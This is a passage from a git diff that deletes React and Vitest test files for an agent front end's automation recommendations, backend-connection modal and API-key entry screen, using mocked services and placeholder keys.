are reached. - vi.spyOn(McpService, "testServer").mockResolvedValue({ - ok: true, - tools: [], - }); - }); - - afterEach(() => { - localStorage.clear(); - __resetActiveStoreForTests(); - }); - - it("renders the proven automations before the beta ones, each in popularity order", () => { - render( - , - ); - - const cardIds = screen - .getAllByTestId(/^recommended-automation-card-/) - .map((card) => - card - .getAttribute("data-testid") - ?.replace("recommended-automation-card-", ""), - ); - - expect(cardIds).toEqual([ - "github-pr-reviewer", - "github-repo-monitor", - "slack-channel-monitor", - "slack-standup-digest", - "linear-triage-assistant", - "jira-issue-to-pr", - "research-brief-writer", - "incident-retrospective-drafter", - ]); - }); - - it("groups the non-proven automations under a labeled Beta section", () => { - render( - , - ); - - const provenHeading = screen.getByText( - I18nKey.RECOMMENDED_AUTOMATIONS$SECTION_TITLE, - ).parentElement!; - expect(within(provenHeading).getByText("3")).toBeInTheDocument(); - - const betaHeading = screen.getByTestId( - "recommended-automations-beta-heading", - ); - expect(betaHeading).toHaveTextContent( - I18nKey.RECOMMENDED_AUTOMATIONS$BETA_LABEL, - ); - expect(within(betaHeading).getByText("5")).toBeInTheDocument(); - - const betaSection = screen.getByTestId( - "recommended-automations-beta-section", - ); - expect( - within(betaSection).getByTestId( - "recommended-automation-card-slack-standup-digest", - ), - ).toBeInTheDocument(); - expect( - within(betaSection).queryByTestId( - "recommended-automation-card-github-pr-reviewer", - ), - ).not.toBeInTheDocument(); - }); - - it("sorts recommendation popularity deterministically when ranks are missing or tied", () => { - const makeAutomation = ( - id: string, - popularityRank?: number, - ): RecommendedAutomation => - ({ - ...AUTOMATION_CATALOG[0], - id, - popularityRank, - }) as RecommendedAutomation; - - expect( - getAutomationsByPopularity([ - makeAutomation("missing-first"), - makeAutomation("tie-a", 10), - makeAutomation("top", 20), - makeAutomation("tie-b", 10), - makeAutomation("missing-second"), - ]).map((automation) => automation.id), - ).toEqual(["top", "tie-a", "tie-b", "missing-first", "missing-second"]); - }); - - it("filters recommendations by required MCP keywords", () => { - render( - , - ); - - expect( - screen.getByTestId("recommended-automation-card-slack-standup-digest"), - ).toBeInTheDocument(); - expect( - screen.queryByTestId("recommended-automation-card-github-pr-reviewer"), - ).not.toBeInTheDocument(); - }); - - it("shows a left-aligned MCP icon stack on each card", () => { - render( - , - ); - - expect( - screen.getByTestId("recommended-automation-icon-github-pr-reviewer"), - ).toBeInTheDocument(); - expect( - screen.getByTestId("recommended-automation-icon-research-brief-writer"), - ).toHaveAttribute("data-layout", "overlap"); - expect( - screen.getByTestId( - "recommended-automation-icon-incident-retrospective-drafter", - ), - ).toHaveAttribute("data-layout", "quadrants"); - }); - - it("renders missing MCP connect copy as a pill on the same row", () => { - const offsetWidthDescriptor = Object.getOwnPropertyDescriptor( - HTMLElement.prototype, - "offsetWidth", - ); - Object.defineProperty(HTMLElement.prototype, "offsetWidth", { - configurable: true, - get() { - return 120; - }, - }); - Object.defineProperty(HTMLElement.prototype, "clientWidth", { - configurable: true, - get() { - return 2000; - }, - }); - vi.stubGlobal( - "ResizeObserver", - class { - observe() {} - - unobserve() {} - - disconnect() {} - }, - ); - - try { - render( - , - ); - - const pillRow = screen.getByTestId( - "recommended-automation-pills-research-brief-writer", - ); - expect(pillRow).toHaveTextContent( - "RECOMMENDED_AUTOMATIONS$MISSING_CONNECT:2", - ); - expect(pillRow).toHaveClass("flex-nowrap"); - expect(pillRow).not.toHaveClass("flex-wrap"); - } finally { - if (offsetWidthDescriptor) { - Object.defineProperty( - HTMLElement.prototype, - "offsetWidth", - offsetWidthDescriptor, - ); - } else { - Reflect.deleteProperty(HTMLElement.prototype, "offsetWidth"); - } - Reflect.deleteProperty(HTMLElement.prototype, "clientWidth"); - vi.unstubAllGlobals(); - } - }); - - it("shows a decorative plus badge on each card without toggle behavior", () => { - render( - , - ); - - const plusBadge = screen.getByTestId( - "recommended-automation-plus-github-pr-reviewer", - ); - expect(plusBadge.tagName).toBe("SPAN"); - expect(plusBadge).toHaveAttribute("aria-hidden", "true"); - expect(plusBadge.className).toContain( - "hover:bg-[var(--oh-interactive-hover)]", - ); - expect(plusBadge.querySelector('[role="switch"]')).not.toBeInTheDocument(); - }); - - it("selects a recommendation directly from its card", () => { - const automation = AUTOMATION_CATALOG.find( - (item) => item.id === "github-pr-reviewer", - )!; - const onSelect = vi.fn(); - - render( - , - ); - - fireEvent.click( - screen.getByTestId("recommended-automation-card-github-pr-reviewer"), - ); - expect(onSelect).toHaveBeenCalledWith(automation); - }); - - it("opens the MCP install modal instead of launching when the required MCP is missing", async () => { - renderLauncher(); - - fireEvent.click( - screen.getByTestId("recommended-automation-card-github-pr-reviewer"), - ); - fireEvent.click(screen.getByTestId("responder-deployment-continue-local")); - - const modal = await screen.findByTestId("mcp-install-modal"); - expect(modal).toHaveAttribute("data-marketplace-id", "github"); - expect(screen.getByTestId("mcp-install-field-url")).toHaveValue( - GITHUB_HOSTED_MCP_URL, - ); - expect(screen.getByTestId("mcp-install-field-api_key")).toBeInTheDocument(); - expect( - screen.queryByTestId("mcp-install-field-command-readonly"), - ).toBeNull(); - expect( - screen.queryByTestId("mcp-install-field-GITHUB_PERSONAL_ACCESS_TOKEN"), - ).toBeNull(); - expect(mockCreateConversationMutate).not.toHaveBeenCalled(); - }); - - it("launches directly with the catalog prompt when the required MCP is already installed", () => { - mockUseSettings.mockReturnValue({ - data: settingsWithGithubMcp(), - }); - - renderLauncher(); - - fireEvent.click( - screen.getByTestId("recommended-automation-card-github-pr-reviewer"), - ); - fireEvent.click(screen.getByTestId("responder-deployment-continue-local")); - - expect(mockCreateConversationMutate).toHaveBeenCalledTimes(1); - expect(screen.queryByTestId("mcp-install-modal")).not.toBeInTheDocument(); - - const [, options] = mockCreateConversationMutate.mock.calls[0]; - options.onSuccess({ conversation_id: "conversation-1" }); - - const draft = getConversationState("conversation-1").draftMessage; - expect(draft).toBeTruthy(); - }); - - it("ignores repeated launches once a responder deployment choice is in flight", () => { - mockUseSettings.mockReturnValue({ - data: settingsWithGithubMcp(), - }); - - renderLauncher(); - - fireEvent.click( - screen.getByTestId("recommended-automation-card-github-pr-reviewer"), - ); - fireEvent.click(screen.getByTestId("responder-deployment-continue-local")); - // The launch is now in flight; re-selecting the card must not launch again. - fireEvent.click( - screen.getByTestId("recommended-automation-card-github-pr-reviewer"), - ); - - expect(mockCreateConversationMutate).toHaveBeenCalledTimes(1); - }); - - it("hides the recommended automations section on cloud backends", () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - - renderLauncher({ withBackendProvider: true }); - - expect( - screen.queryByTestId("recommended-automations-section"), - ).not.toBeInTheDocument(); - }); - - it("launches the recommendation after the missing MCP is installed", async () => { - const saveSpy = vi - .spyOn(SettingsService, "saveSettings") - .mockResolvedValue(true); - - renderLauncher(); - - fireEvent.click( - screen.getByTestId("recommended-automation-card-github-pr-reviewer"), - ); - fireEvent.click(screen.getByTestId("responder-deployment-continue-local")); - await screen.findByTestId("mcp-install-modal"); - - fireEvent.change(screen.getByTestId("mcp-install-field-api_key"), { - target: { value: "github-token" }, - }); - fireEvent.click(screen.getByTestId("mcp-install-submit")); - - await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1)); - await waitFor(() => - expect(mockCreateConversationMutate).toHaveBeenCalledTimes(1), - ); - }); - - it("opens the OpenHands Cloud integrations page without launching when the cloud option is chosen", () => { - const openSpy = vi.spyOn(window, "open").mockReturnValue(null); - - renderLauncher(); - - fireEvent.click( - screen.getByTestId("recommended-automation-card-github-pr-reviewer"), - ); - fireEvent.click( - screen.getByTestId("responder-deployment-open-openhands-cloud"), - ); - - expect(openSpy).toHaveBeenCalledWith( - "https://app.all-hands.dev/settings/integrations", - "_blank", - "noopener,noreferrer", - ); - expect(mockCreateConversationMutate).not.toHaveBeenCalled(); - - openSpy.mockRestore(); - }); - - it("does not show the deployment choice modal for non-responder automations", () => { - renderLauncher(); - - fireEvent.click( - screen.getByTestId("recommended-automation-card-linear-triage-assistant"), - ); - - expect( - screen.queryByTestId("responder-deployment-modal"), - ).not.toBeInTheDocument(); - }); -}); - -describe("buildAutomationPrompt", () => { - it("passes the prompt through verbatim", () => { - expect(buildAutomationPrompt("Do something useful")).toBe( - "Do something useful", - ); - expect(buildAutomationPrompt("/slack-monitor:poll")).toBe( - "/slack-monitor:poll", - ); - }); -}); diff --git a/__tests__/components/automations/search-input.test.tsx b/__tests__/components/automations/search-input.test.tsx deleted file mode 100644 index adc66227b..000000000 --- a/__tests__/components/automations/search-input.test.tsx +++ /dev/null @@ -1,24 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { vi, describe, it, expect } from "vitest"; -import { SearchInput } from "#/components/features/automations/search-input"; - -describe("SearchInput", () => { - it("calls onChange when user types", async () => { - const onChange = vi.fn(); - const user = userEvent.setup(); - render(); - - const input = screen.getByRole("textbox"); - await user.type(input, "test"); - - expect(onChange).toHaveBeenCalled(); - expect(onChange).toHaveBeenLastCalledWith("t"); - }); - - it("displays the current value", () => { - render(); - - expect(screen.getByRole("textbox")).toHaveValue("security"); - }); -}); diff --git a/__tests__/components/automations/toggle-switch.test.tsx b/__tests__/components/automations/toggle-switch.test.tsx deleted file mode 100644 index a86e0aedd..000000000 --- a/__tests__/components/automations/toggle-switch.test.tsx +++ /dev/null @@ -1,38 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { vi, describe, it, expect } from "vitest"; -import { ToggleSwitch } from "#/components/features/automations/toggle-switch"; - -describe("ToggleSwitch", () => { - it("calls onToggle when clicked", async () => { - const onToggle = vi.fn(); - const user = userEvent.setup(); - render( - , - ); - - await user.click(screen.getByRole("switch")); - - expect(onToggle).toHaveBeenCalledOnce(); - }); - - it("reflects enabled state via aria-checked", () => { - render(); - - expect(screen.getByRole("switch")).toHaveAttribute("aria-checked", "true"); - }); - - it("stops event propagation on click", async () => { - const parentClick = vi.fn(); - const user = userEvent.setup(); - render( -
- -
, - ); - - await user.click(screen.getByRole("switch")); - - expect(parentClick).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/components/backends/add-backend-modal.test.tsx b/__tests__/components/backends/add-backend-modal.test.tsx deleted file mode 100644 index 5f8f8b89f..000000000 --- a/__tests__/components/backends/add-backend-modal.test.tsx +++ /dev/null @@ -1,363 +0,0 @@ -import React from "react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { render, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import type { MockInstance } from "vitest"; -import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { - NavigationProvider, - type NavigationContextValue, -} from "#/context/navigation-context"; -import { AddBackendModal } from "#/components/features/backends/add-backend-modal"; -import * as telemetry from "#/services/telemetry"; - -const getServerInfoMock = vi.hoisted(() => vi.fn()); - -vi.mock("@openhands/typescript-client/clients", () => ({ - ServerClient: vi.fn(function ServerClientMock() { - return { - getServerInfo: getServerInfoMock, - }; - }), -})); - -let captureMock: MockInstance; - -vi.mock("#/hooks/query/use-settings", () => ({ - useSettings: () => ({ - data: { user_consents_to_analytics: true, email: "user@example.com" }, - }), -})); - -function renderWithProviders( - ui: React.ReactElement, - navigation?: NavigationContextValue, -) { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return render( - - - {navigation ? ( - {ui} - ) : ( - ui - )} - - , - ); -} - -beforeEach(() => { - captureMock = vi.spyOn(telemetry, "trackEvent").mockResolvedValue(undefined); - window.localStorage.clear(); - getServerInfoMock.mockReset(); - getServerInfoMock.mockResolvedValue({ version: "1.28.0" }); - __resetActiveStoreForTests(); -}); - -afterEach(() => { - captureMock.mockRestore(); - window.localStorage.clear(); - __resetActiveStoreForTests(); -}); - -describe("AddBackendModal – two-column layout", () => { - it("renders a two-column layout with manual and cloud sections", () => { - renderWithProviders(); - - expect(screen.getByTestId("add-backend-name")).toBeInTheDocument(); - expect(screen.getByTestId("add-backend-host")).toBeInTheDocument(); - expect(screen.getByTestId("add-backend-host-helper")).toBeInTheDocument(); - expect(screen.getByTestId("add-backend-api-key")).toBeInTheDocument(); - expect(screen.getByTestId("add-backend-submit")).toBeInTheDocument(); - - expect(screen.getByTestId("add-backend-cloud-title")).toBeInTheDocument(); - expect(screen.getByTestId("add-backend-login-button")).toBeInTheDocument(); - expect( - screen.getByTestId("add-backend-advanced-toggle"), - ).toBeInTheDocument(); - }); - - it("starts with an empty host field (no prefilled value)", () => { - renderWithProviders(); - - expect(screen.getByTestId("add-backend-host")).toHaveValue(""); - }); - - it("disables Connect until name and host are filled (local backend)", async () => { - renderWithProviders(); - - const submit = screen.getByTestId( - "add-backend-submit", - ) as HTMLButtonElement; - expect(submit).toBeDisabled(); - - const user = userEvent.setup(); - await user.type(screen.getByTestId("add-backend-name"), "My Server"); - expect(submit).toBeDisabled(); - - // A localhost host infers "local" kind → no API key required - await user.type( - screen.getByTestId("add-backend-host"), - "http://localhost:8000", - ); - expect(submit).not.toBeDisabled(); - }); - - it("allows submitting a local backend with a blank API key", async () => { - const onClose = vi.fn(); - renderWithProviders(); - - const user = userEvent.setup(); - await user.type(screen.getByTestId("add-backend-name"), "Local Extra"); - await user.type( - screen.getByTestId("add-backend-host"), - "http://127.0.0.1:18002", - ); - - await user.click(screen.getByTestId("add-backend-submit")); - - await waitFor(() => expect(onClose).toHaveBeenCalled()); - - const stored = JSON.parse( - window.localStorage.getItem("openhands-backends") ?? "[]", - ); - const added = stored.find( - (b: { name: string }) => b.name === "Local Extra", - ); - expect(added).toMatchObject({ - name: "Local Extra", - host: "http://127.0.0.1:18002", - apiKey: "", - kind: "local", - }); - }); - - it("requires API key when host infers cloud kind", async () => { - renderWithProviders(); - - const submit = screen.getByTestId( - "add-backend-submit", - ) as HTMLButtonElement; - const user = userEvent.setup(); - - await user.type(screen.getByTestId("add-backend-name"), "Cloud"); - await user.type( - screen.getByTestId("add-backend-host"), - "https://app.openhands.dev", - ); - // Cloud host without API key → submit should be disabled - expect(submit).toBeDisabled(); - - await user.type(screen.getByTestId("add-backend-api-key"), "token"); - expect(submit).not.toBeDisabled(); - }); - - it("saves the backend, switches to it, and closes", async () => { - const onClose = vi.fn(); - renderWithProviders(); - - const user = userEvent.setup(); - await user.type(screen.getByTestId("add-backend-name"), "Local 1"); - await user.type( - screen.getByTestId("add-backend-host"), - "http://localhost:9000", - ); - await user.type(screen.getByTestId("add-backend-api-key"), "k"); - - await user.click(screen.getByTestId("add-backend-submit")); - - await waitFor(() => expect(onClose).toHaveBeenCalled()); - - const stored = JSON.parse( - window.localStorage.getItem("openhands-backends") ?? "[]", - ); - expect(stored).toHaveLength(2); - const added = stored.find((b: { name: string }) => b.name === "Local 1"); - expect(added).toMatchObject({ - name: "Local 1", - host: "http://localhost:9000", - apiKey: "k", - kind: "local", - }); - - // Active selection must point at the newly added backend. - const active = JSON.parse( - window.localStorage.getItem("openhands-active-backend") ?? "null", - ); - expect(active).toEqual({ backendId: added.id, orgId: null }); - }); - - it("keeps the modal open and shows a connection error when the local backend probe fails", async () => { - getServerInfoMock.mockRejectedValueOnce(new Error("Failed to fetch")); - const onClose = vi.fn(); - renderWithProviders(); - - const user = userEvent.setup(); - await user.type(screen.getByTestId("add-backend-name"), "GPU Tunnel"); - await user.type( - screen.getByTestId("add-backend-host"), - "https://127.0.0.1:8000", - ); - await user.type(screen.getByTestId("add-backend-api-key"), "session-key"); - await user.click(screen.getByTestId("add-backend-submit")); - - expect(await screen.findByTestId("add-backend-error")).toHaveTextContent( - "BACKEND$CONNECTION_TEST_FAILED", - ); - expect(screen.getByTestId("add-backend-error")).toHaveTextContent( - "Disconnected", - ); - expect(onClose).not.toHaveBeenCalled(); - }); - - it("keeps the modal open when the local backend is below the compatible version floor", async () => { - getServerInfoMock.mockResolvedValueOnce({ version: "1.27.1" }); - const onClose = vi.fn(); - renderWithProviders(); - - const user = userEvent.setup(); - await user.type(screen.getByTestId("add-backend-name"), "Old Tunnel"); - await user.type( - screen.getByTestId("add-backend-host"), - "https://127.0.0.1:8000", - ); - await user.type(screen.getByTestId("add-backend-api-key"), "session-key"); - await user.click(screen.getByTestId("add-backend-submit")); - - expect(await screen.findByTestId("add-backend-error")).toHaveTextContent( - "Agent Canvas requires agent-server 1.28.0 or newer", - ); - expect(onClose).not.toHaveBeenCalled(); - }); - - it("closes when the header close button is clicked", async () => { - const user = userEvent.setup(); - const onClose = vi.fn(); - renderWithProviders(); - - await user.click(screen.getByTestId("add-backend-close")); - - expect(onClose).toHaveBeenCalledTimes(1); - }); - - it("keeps advanced host settings in the layout when collapsed", async () => { - const user = userEvent.setup(); - renderWithProviders(); - - expect(screen.getByTestId("add-backend-cloud-host")).toBeInTheDocument(); - - await user.click(screen.getByTestId("add-backend-advanced-toggle")); - - expect(screen.getByTestId("add-backend-cloud-host")).toBeInTheDocument(); - }); - - it("renders the cloud login button without a key icon prefix", () => { - renderWithProviders(); - - const loginButton = screen.getByTestId("add-backend-login-button"); - expect(loginButton.textContent?.trim()).not.toMatch(/^🔑/); - expect(loginButton.textContent).not.toContain("🔑"); - }); -}); - -// @spec BM-002 — adding a backend auto-switches the active selection, so a -// backend-scoped detail page is now stale; the user must land on the section -// list rather than the previous backend's detail page. -describe("AddBackendModal – redirect after adding a backend", () => { - function renderOnPath(currentPath: string) { - const navigate = vi.fn(); - const navigation: NavigationContextValue = { - currentPath, - conversationId: null, - isNavigating: false, - navigate, - }; - renderWithProviders(, navigation); - return { navigate }; - } - - async function addLocalBackend() { - const user = userEvent.setup(); - await user.type(screen.getByTestId("add-backend-name"), "Local Extra"); - await user.type( - screen.getByTestId("add-backend-host"), - "http://127.0.0.1:18002", - ); - await user.click(screen.getByTestId("add-backend-submit")); - await waitFor(() => { - const stored = JSON.parse( - window.localStorage.getItem("openhands-backends") ?? "[]", - ); - expect( - stored.some((b: { name: string }) => b.name === "Local Extra"), - ).toBe(true); - }); - } - - it.each([ - { path: "/automations/auto-1", expected: "/automations" }, - { path: "/conversations/abc", expected: "/conversations" }, - ])( - "redirects to the section list when adding from $path", - async ({ path, expected }) => { - // Arrange - const { navigate } = renderOnPath(path); - - // Act - await addLocalBackend(); - - // Assert - expect(navigate).toHaveBeenCalledWith(expected); - }, - ); - - it("does not redirect when adding from a section list page", async () => { - // Arrange - const { navigate } = renderOnPath("/automations"); - - // Act - await addLocalBackend(); - - // Assert - expect(navigate).not.toHaveBeenCalled(); - }); -}); - -describe("AddBackendModal – analytics", () => { - it("captures backend_added once with manual connection metadata", async () => { - // Arrange - renderWithProviders(); - const user = userEvent.setup(); - - // Act — connect a local backend through the manual form - await user.type(screen.getByTestId("add-backend-name"), "Local Extra"); - await user.type( - screen.getByTestId("add-backend-host"), - "http://localhost:8000", - ); - await user.type(screen.getByTestId("add-backend-api-key"), "sk-local"); - await user.click(screen.getByTestId("add-backend-submit")); - - // Assert — emitted exactly once with coarse, non-sensitive properties - await waitFor(() => - expect(captureMock).toHaveBeenCalledWith( - "backend_added", - expect.objectContaining({ - backend_kind: "local", - connection_method: "manual", - has_api_key: true, - source: "add_backend_modal", - }), - ), - ); - const backendAddedCalls = captureMock.mock.calls.filter( - ([event]) => event === "backend_added", - ); - expect(backendAddedCalls).toHaveLength(1); - }); -}); diff --git a/__tests__/components/backends/api-key-entry-screen.test.tsx b/__tests__/components/backends/api-key-entry-screen.test.tsx deleted file mode 100644 index 110a930bb..000000000 --- a/__tests__/components/backends/api-key-entry-screen.test.tsx +++ /dev/null @@ -1,313 +0,0 @@ -import React from "react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { render, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { BACKENDS_STORAGE_KEY } from "#/api/backend-registry/storage"; -import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import ApiKeyEntryScreen from "#/components/features/backends/api-key-entry-screen"; - -// ── Mocks ──────────────────────────────────────────────────────────── - -const getSettingsMock = vi.fn(); - -vi.mock("@openhands/typescript-client/clients", () => ({ - SettingsClient: vi.fn(function SettingsClientMock() { - return { getSettings: getSettingsMock }; - }), - // ServerClient needed by useBackendsHealth (imported transitively) - ServerClient: vi.fn(function ServerClientMock() { - return { getServerInfo: vi.fn().mockResolvedValue({ version: "1.28.0" }) }; - }), -})); - -// Stub cloud org service used by ActiveBackendProvider -vi.mock("#/api/cloud/organization-service.api", () => ({ - getCurrentCloudApiKey: vi.fn().mockResolvedValue({ - orgId: null, - isLegacyKey: true, - }), -})); - -// Capture reload calls without crashing jsdom -const reloadMock = vi.fn(); - -// ── Helpers ────────────────────────────────────────────────────────── - -function renderScreen() { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return render( - - - - - , - ); -} - -/** Fill the required fields: name and api key. */ -async function fillRequiredFields( - user: ReturnType, - { name = "My Server", apiKey = "some-key" } = {}, -) { - await user.type(screen.getByTestId("api-key-entry-name"), name); - await user.type(screen.getByTestId("api-key-entry-api-key"), apiKey); -} - -// ── Setup / teardown ───────────────────────────────────────────────── - -const ORIGINAL_LOCATION = window.location; - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - getSettingsMock.mockReset(); - - // Replace window.location with a spy-able version - Object.defineProperty(window, "location", { - configurable: true, - value: { - ...ORIGINAL_LOCATION, - origin: "http://localhost:8000", - hostname: "localhost", - reload: reloadMock, - }, - }); - reloadMock.mockReset(); -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - vi.unstubAllEnvs(); - Object.defineProperty(window, "location", { - configurable: true, - value: ORIGINAL_LOCATION, - }); -}); - -// ── Tests ──────────────────────────────────────────────────────────── - -describe("ApiKeyEntryScreen", () => { - // @spec — UI: name + host (disabled) + api key + connect - it("renders name, host (disabled), api key, and connect button", () => { - renderScreen(); - - // Name field - const nameInput = screen.getByTestId("api-key-entry-name"); - expect(nameInput).toBeInTheDocument(); - expect(nameInput).toHaveValue(""); - - // Host field — pre-filled from window.location.origin, disabled - const hostInput = screen.getByTestId("api-key-entry-host"); - expect(hostInput).toBeInTheDocument(); - expect(hostInput).toBeDisabled(); - expect(hostInput).toHaveValue("http://localhost:8000"); - - // API key field - expect(screen.getByTestId("api-key-entry-api-key")).toBeInTheDocument(); - - // Connect button - expect(screen.getByTestId("api-key-entry-submit")).toBeInTheDocument(); - }); - - // @spec — API key field always starts empty (stale key wipe) - it("starts with an empty api key even when localStorage has a stale key", () => { - // Seed the backend registry with the stale key - window.localStorage.setItem( - BACKENDS_STORAGE_KEY, - JSON.stringify([ - { - id: "default-local", - name: "Local", - host: "http://localhost:8000", - apiKey: "old-stale-key-from-previous-session", - kind: "local", - }, - ]), - ); - - renderScreen(); - - expect(screen.getByTestId("api-key-entry-api-key")).toHaveValue(""); - }); - - // @spec — Connect button requires both name and api key - it("disables Connect when name or api key is empty", async () => { - renderScreen(); - const user = userEvent.setup(); - const submit = screen.getByTestId("api-key-entry-submit"); - - // Both empty - expect(submit).toBeDisabled(); - - // Only api key filled → still disabled - await user.type(screen.getByTestId("api-key-entry-api-key"), "key"); - expect(submit).toBeDisabled(); - - // Name also filled → enabled - await user.type(screen.getByTestId("api-key-entry-name"), "Server"); - expect(submit).not.toBeDisabled(); - }); - - // @spec — Valid key: validates against GET /api/settings, persists, reloads - it("validates the key before persisting and reloading", async () => { - getSettingsMock.mockResolvedValueOnce({ llm_model: "test" }); - - renderScreen(); - const user = userEvent.setup(); - - await fillRequiredFields(user, { apiKey: "correct-key" }); - await user.click(screen.getByTestId("api-key-entry-submit")); - - await waitFor(() => { - expect(getSettingsMock).toHaveBeenCalledTimes(1); - }); - - // Key persisted to backend registry storage - const stored = JSON.parse( - window.localStorage.getItem(BACKENDS_STORAGE_KEY) ?? "[]", - ); - expect(stored[0].apiKey).toBe("correct-key"); - - // Page reloaded - expect(reloadMock).toHaveBeenCalled(); - }); - - // @spec — 401 shows "Invalid API key", does NOT persist or reload - it("shows 'Invalid API key' when the key is rejected with 401", async () => { - getSettingsMock.mockRejectedValueOnce( - Object.assign(new Error("Unauthorized"), { - name: "HttpError", - status: 401, - }), - ); - - renderScreen(); - const user = userEvent.setup(); - - await fillRequiredFields(user, { apiKey: "wrong-key" }); - await user.click(screen.getByTestId("api-key-entry-submit")); - - // Error status appears with "Invalid" text - await waitFor(() => { - expect(screen.getByTestId("api-key-entry-status")).toBeInTheDocument(); - }); - expect(screen.getByTestId("api-key-entry-status")).toHaveClass( - "text-red-400", - ); - expect(screen.getByTestId("api-key-entry-status").textContent).toContain( - "AUTH$INVALID_KEY", - ); - - // Rejected key NOT persisted. - expect(window.localStorage.getItem(BACKENDS_STORAGE_KEY)).not.toContain( - "wrong-key", - ); - - // Page NOT reloaded - expect(reloadMock).not.toHaveBeenCalled(); - }); - - // @spec — Non-401 errors show the actual error message, not "Invalid key" - it("shows 'Connection failed' with detail for non-auth errors (e.g. 500)", async () => { - getSettingsMock.mockRejectedValueOnce( - Object.assign(new Error("HTTP 500: Internal Server Error"), { - name: "HttpError", - status: 500, - }), - ); - - renderScreen(); - const user = userEvent.setup(); - - await fillRequiredFields(user, { apiKey: "correct-key" }); - await user.click(screen.getByTestId("api-key-entry-submit")); - - await waitFor(() => { - expect(screen.getByTestId("api-key-entry-status")).toBeInTheDocument(); - }); - - const statusText = - screen.getByTestId("api-key-entry-status").textContent ?? ""; - // Shows "Connection failed" prefix, NOT "Invalid API key" - expect(statusText).toContain("AUTH$CONNECTION_FAILED"); - expect(statusText).toContain("500"); - expect(statusText).not.toContain("AUTH$INVALID_KEY"); - - // Rejected key NOT persisted. - expect(window.localStorage.getItem(BACKENDS_STORAGE_KEY)).not.toContain( - "correct-key", - ); - - expect(reloadMock).not.toHaveBeenCalled(); - }); - - // @spec — Retry flow: wrong key → error → correct key → success - it("allows retry after a failed attempt", async () => { - getSettingsMock - .mockRejectedValueOnce( - Object.assign(new Error("Unauthorized"), { - name: "HttpError", - status: 401, - }), - ) - .mockResolvedValueOnce({ llm_model: "test" }); - - renderScreen(); - const user = userEvent.setup(); - const apiKeyInput = screen.getByTestId("api-key-entry-api-key"); - - // First attempt — wrong key - await fillRequiredFields(user, { apiKey: "wrong-key" }); - await user.click(screen.getByTestId("api-key-entry-submit")); - await waitFor(() => { - expect(screen.getByTestId("api-key-entry-status")).toHaveClass( - "text-red-400", - ); - }); - - // Retry — correct key - await user.clear(apiKeyInput); - await user.type(apiKeyInput, "correct-key"); - await user.click(screen.getByTestId("api-key-entry-submit")); - - await waitFor(() => { - expect(reloadMock).toHaveBeenCalled(); - }); - - const stored = JSON.parse( - window.localStorage.getItem(BACKENDS_STORAGE_KEY) ?? "[]", - ); - expect(stored[0].apiKey).toBe("correct-key"); - }); - - // @spec — Stale key in localStorage does not contaminate the new key - it("persists only the freshly-entered key, not the stale one", async () => { - getSettingsMock.mockResolvedValueOnce({ llm_model: "test" }); - - renderScreen(); - const user = userEvent.setup(); - - // API key field is empty — stale key not visible - const apiKeyInput = screen.getByTestId("api-key-entry-api-key"); - expect(apiKeyInput).toHaveValue(""); - - // Enter fresh key - await fillRequiredFields(user, { apiKey: "fresh-key-BBBB" }); - await user.click(screen.getByTestId("api-key-entry-submit")); - - await waitFor(() => { - expect(reloadMock).toHaveBeenCalled(); - }); - - // Stored key is the NEW one, not old + new concatenated - const stored = JSON.parse( - window.localStorage.getItem(BACKENDS_STORAGE_KEY) ?? "[]", - ); - expect(stored[0].apiKey).toBe("fresh-key-BBBB"); - }); -}); diff --git a/__tests__/components/backends/backend-form-modal.test.tsx b/__tests__/components/backends/backend-form-modal.test.tsx deleted file mode 100644 index 494d51c83..000000000 --- a/__tests__/components/backends/backend-form-modal.test.tsx +++ /dev/null @@ -1,305 +0,0 @@ -import React from "react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { render, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; - -import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store"; -import { - ActiveBackendProvider, - useActiveBackendContext, -} from "#/contexts/active-backend-context"; -import { - NavigationProvider, - type NavigationContextValue, -} from "#/context/navigation-context"; -import { BackendFormModal } from "#/components/features/backends/backend-form-modal"; - -const getServerInfoMock = vi.hoisted(() => vi.fn()); - -vi.mock("@openhands/typescript-client/clients", () => ({ - ServerClient: vi.fn(function ServerClientMock() { - return { - getServerInfo: getServerInfoMock, - }; - }), -})); - -function renderWithProviders( - ui: React.ReactElement, - navigation?: NavigationContextValue, -) { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return render( - - - {navigation ? ( - {ui} - ) : ( - ui - )} - - , - ); -} - -function TestSeed({ - onMount, - children, -}: { - onMount: (ctx: ReturnType) => void; - children: React.ReactNode; -}) { - const ctx = useActiveBackendContext(); - React.useEffect(() => { - onMount(ctx); - // eslint-disable-next-line react-hooks/exhaustive-deps - }, []); - return children as React.ReactElement; -} - -beforeEach(() => { - window.localStorage.clear(); - getServerInfoMock.mockReset(); - getServerInfoMock.mockResolvedValue({ version: "1.28.0" }); - __resetActiveStoreForTests(); -}); - -afterEach(() => { - window.localStorage.clear(); - vi.unstubAllEnvs(); - delete (window as unknown as Record) - .__AGENT_CANVAS_LOCK_TO_CLOUD__; - __resetActiveStoreForTests(); -}); - -describe("BackendFormModal – edit mode (BackendForm entry point)", () => { - it("pre-fills 